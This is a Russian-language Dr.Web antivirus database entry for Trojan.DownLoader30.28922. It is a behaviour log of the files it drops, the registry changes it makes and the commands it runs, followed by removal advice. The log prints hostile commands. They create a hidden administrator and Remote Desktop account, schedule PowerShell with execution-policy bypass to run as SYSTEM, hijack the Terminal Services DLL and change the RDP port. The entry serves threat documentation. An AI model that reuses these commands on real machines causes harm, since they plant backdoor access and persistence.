Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Trojan.DownLoader30.28922
Добавлен в вирусную базу Dr.Web:
2019-10-21
Описание добавлено:
2019-10-22
Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
Создает следующие сервисы
[<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\help\tmp5211.dat'
[<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Изменения в файловой системе
Создает следующие файлы
%TEMP%\nsnd9ae.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\mail recipient.mapimail
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\notepad.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\fax recipient.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop (create shortcut).desklink
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\compressed (zipped) folder.zfsendtotarget
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\command prompt.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\narrator.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\run.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\ease of access.lnk
C:\users\wgautilacc\ntuser.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat.log1
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\magnify.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\windows explorer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\on-screen keyboard.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
%TEMP%\chadshfsd323.txt
%TEMP%\premiumfceyclmemp.ps1
%TEMP%\add.ps1
%TEMP%\nsdd9bf.tmp\system.dll
%WINDIR%\help\tmp5211.dat
%WINDIR%\help\tmp5212.dat
%WINDIR%\help\tmp5213.dat
<SYSTEM32>\rfxvmt.dll
%TEMP%\nsdd9bf.tmp\blowfish.dll
%WINDIR%\temp\usrnm.txt
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
C:\users\wgautilacc\ntuser.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\help.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\private character editor.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\control panel.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\computer.lnk
<SYSTEM32>\microsoft\protect\s-1-5-20\b1541d2f-b8cc-4b7f-acbb-67f16fbdeb9e
C:\users\wgautilacc\ntuser.dat.log1
C:\users\wgautilacc\ntuser.pol
Присваивает атрибут 'скрытый' для следующих файлов
C:\users\wgautilacc\ntuser.dat
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
Удаляет следующие файлы
%TEMP%\nsdd9bf.tmp\blowfish.dll
%TEMP%\nsdd9bf.tmp\system.dll
%TEMP%\chadshfsd323.txt
Самоудаляется.
Другое
Ищет следующие окна
ClassName: 'CicLoaderWndClass' WindowName: ''
Создает и запускает на исполнение
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\premiumFCEYCLMEMP.ps1
'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumFCEYCLMEMP.ps1' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nrAYt6er /add' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" nqlkpwurugna$ /ADD' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nrAYt6er' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C schtasks /create /tn 52274 /tr "powershell -nop -ep bypass -f %WINDIR%\help\73015.ps1" /ru system /sc hourly /mo 1' (со скрытым окном)
Запускает на исполнение
'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumFCEYCLMEMP.ps1
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" nqlkpwurugna$ /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" nqlkpwurugna$ /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" nqlkpwurugna$ /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' user WgaUtilAcc nrAYt6er /add
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' user WgaUtilAcc nrAYt6er
'<SYSTEM32>\net1.exe' user WgaUtilAcc nrAYt6er
'<SYSTEM32>\cmd.exe' /C schtasks /create /tn 52274 /tr "powershell -nop -ep bypass -f %WINDIR%\help\73015.ps1" /ru system /sc hourly /mo 1
'<SYSTEM32>\schtasks.exe' /create /tn 52274 /tr "powershell -nop -ep bypass -f %WINDIR%\help\73015.ps1" /ru system /sc hourly /mo 1
'<SYSTEM32>\smss.exe' 00000000 0000003c
'<SYSTEM32>\csrss.exe' ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitializa...
'<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nrAYt6er
'<SYSTEM32>\net.exe' user WgaUtilAcc nrAYt6er /add
'<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
'<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
'<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
'<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
'<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
'<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
'<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
'<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
'<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nrAYt6er /add
'<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\help\tmp5211.dat /f
'<SYSTEM32>\winlogon.exe'
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam
Пытается завершить работу операционной системы Windows.
Рекомендации по лечению
Windows
macOS
Linux
Android
В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store .
Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light . Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
выключите устройство и включите его в обычном режиме.
Подробнее о Dr.Web для Android
Демо бесплатно на 14 дней
Выдаётся при установке
Поздравляем!
Обменяйте их на скидку до 50% на покупку Dr.Web.
Получить скидку
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK